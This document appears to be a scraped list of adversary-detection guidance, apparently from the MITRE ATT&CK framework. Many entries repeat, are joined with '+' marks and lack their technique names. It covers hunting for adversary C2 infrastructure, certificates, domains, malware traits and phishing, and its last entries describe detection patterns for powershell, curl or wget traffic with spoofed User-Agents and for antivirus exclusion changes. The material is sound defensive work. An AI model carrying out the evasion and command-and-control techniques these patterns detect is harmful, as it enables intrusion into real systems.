If infrastructure or patterns in the malicious web content utilized to deliver a Drive-by Compromise have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as Drive-by Compromise or Exploitation for Client Execution.
Current version: 1.0
Description:
Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Defense Evasion, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Once adversaries leverage serverless functions as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle.
Current version: 1.0
Description:
Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. +Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as Code Signing or Install Root Certificate.
Current version: 1.0
Description:
If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as Ingress Tool Transfer.
Current version: 1.0
Description:
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: Phishing).
Current version: 1.0
Description:
If infrastructure or patterns in the malicious web content related to malvertising have been previously identified, internet scanning may uncover when an adversary has staged malicious web content. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as Drive-by Compromise or Exploitation for Client Execution.
Current version: 1.0
Description:
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Phishing, Endpoint Denial of Service, or Network Denial of Service.
Current version: 1.0
Description:
Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
Current version: 1.0
Description:
If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.
Current version: 1.0
Description:
Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) +Detection efforts may be focused on related behaviors, such as Web Protocols or Asymmetric Cryptography.
Current version: 1.0
Description:
Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.
Current version: 1.0
Description:
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of generative artificial intelligence (i.e. Phishing, Phishing for Information).
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) +Detection efforts may be focused on related behaviors, such as Web Protocols , Asymmetric Cryptography , and/or Install Root Certificate .
Current version: 1.0
Description:
Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle. +Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)
Current version: 1.0
Description:
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: Transfer Data to Cloud Account).
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) +Monitor for logged network traffic in response to a scan showing both protocol header and body values that may buy and/or steal SSL/TLS certificates that can be used during targeting. Detection efforts may be focused on related behaviors, such as Web Protocols, Asymmetric Cryptography, and/or Install Root Certificate.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. +Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. +Monitor for logged network traffic in response to a scan showing both protocol header and body values that may buy and/or steal capabilities that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. +Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in Cobalt Strike payloads.(Citation: Analyzing CS Dec 2020)
Current version: 1.0
Description:
Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). +Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).
Current version: 1.0
Description:
Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in Cobalt Strike payloads.(Citation: Analyzing CS Dec 2020) +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.
Current version: 1.0
Description:
Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. +Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. +Consider use of services that may aid in the tracking of capabilities, such as certificates, in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.
Current version: 1.0
Description:
Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)
+Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Once adversaries leverage compromised network devices as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: Phishing).
Current version: 1.0
Description:
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
Current version: 1.0
Description:
Monitor for logged domain name system (DNS) registry data that may hijack domains and/or subdomains that can be used during targeting. In some cases, abnormal subdomain IP addresses (such as those originating in a different country from the root domain) may indicate a malicious subdomain.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. +Monitor for queried domain name system (DNS) registry data that may hijack domains and/or subdomains that can be used during targeting. In some cases, abnormal subdomain IP addresses (such as those originating in a different country from the root domain) may indicate a malicious subdomain.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
Current version: 1.0
Description:
Once adversaries leverage serverless functions as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle.
Current version: 1.0
Description:
Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. +Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) +Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Current version: 1.0
Description:
Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). +Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.
Current version: 1.0
Description:
Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service). +Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).
Current version: 1.0
Description:
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)
Current version: 1.0
Description:
Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. +Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.
Current version: 1.0
Description:
Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). +Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: Phishing).
Current version: 1.0
Description:
Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
Current version: 1.0
Description:
Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as Code Signing or Install Root Certificate.
Current version: 1.0
Description:
Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: Phishing). +Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links and identifying obfuscated URLs) can also help detect links leading to known malicious sites.(Citation: Mandiant URL Obfuscation 2023)
+Furthermore, monitor browser logs for homographs in ASCII and in internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites). +Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. +Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).
+Furthermore, monitor network traffic for homographs via the use of internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites). Also monitor and analyze traffic patterns and packet inspection for indicators of cloned websites. For example, if adversaries use HTTrack to clone websites, Mirrored from (victim URL) may be visible in the HTML section of packets.
Current version: 1.0
Description:
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: Transfer Data to Cloud Account).
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
If infrastructure or patterns in the malicious web content related to SEO poisoning or Drive-by Target have been previously identified, internet scanning may uncover when an adversary has staged web content supporting a strategic web compromise. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as Drive-by Compromise or Exploitation for Client Execution.
Current version: 1.0
Description:
Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control Web Service or Exfiltration Over Web Service .
Current version: 1.0
Description:
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Phishing, Endpoint Denial of Service, or Network Denial of Service.
Current version: 1.0
Description:
Much of this takes place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) +Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. +Monitor for queried domain name system (DNS) registry data that may compromise third-party infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Monitor for logged domain name system (DNS) data that may compromise third-party infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Monitor for contextual data about an Internet-facing resource gathered from a scan, such as running services or ports that may compromise third-party infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
Current version: 1.0
Description:
Monitor call logs from corporate devices to identify patterns of potential voice phishing, such as calls to/from known malicious phone numbers.
Current version: 1.0
Description:
Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
+Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
Current version: 1.0
Description:
Monitor for queried domain name system (DNS) registry data that may compromise third-party DNS servers that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Monitor for logged domain name system (DNS) registry data that may compromise third-party DNS servers that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
Current version: 1.0
Description:
Monitor logged domain name system (DNS) data for purchased domains that can be used during targeting. Reputation/category-based detection may be difficult until the categorization is updated. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. +Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. +Monitor queried domain name system (DNS) registry data for purchased domains that can be used during targeting. Reputation/category-based detection may be difficult until the categorization is updated. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.
Current version: 1.0
Description:
If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during Spearphishing Link , Spearphishing Link , or Malicious Link .
Current version: 1.0
Description:
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Defense Evasion, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).
Current version: 1.0
Description:
Monitor for contextual data about an Internet-facing resource gathered from a scan, such as running services or ports that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Once adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Monitor for queried domain name system (DNS) registry data that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Monitor for logged domain name system (DNS) data that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. +Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
Current version: 1.0
Description:
Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control (Web Service) or Exfiltration Over Web Service.
Current version: 1.0
Description:
Process execution without GUI context (e.g., powershell.exe, wscript.exe) generates HTTP traffic with a spoofed User-Agent mimicking a legitimate browser. No corresponding UI application (e.g., msedge.exe) is active or in parent lineage. The User-Agent deviates from known enterprise baselines or contains spoofed platform indicators. User-Agent strings can be gathered with API calls such as ShellExecuteW to open the default browser on a socket to receive an HTTP reply, or by hard coding the User-Agent string for a specific browser.
Current version: 1.0
Description:
A process with no prior history or outside of known whitelisted tools initiates file or registry modifications to configure exclusion rules for antivirus, backup, or file-handling systems. Or a file system enumeration for specific file names andcritical extensions like .dll, .exe, .sys, or specific directories such as 'Program Files' or security tool paths or system component discovery for the exclusion of the files or components.
Current version: 1.0
Description:
Detection of HTTP outbound requests with inconsistent or spoofed User-Agent headers from command-line tools (e.g., curl, wget, python requests) following interactive user shells or scheduled jobs outside of normal user session behavior.
Current version: 1.0
Description:
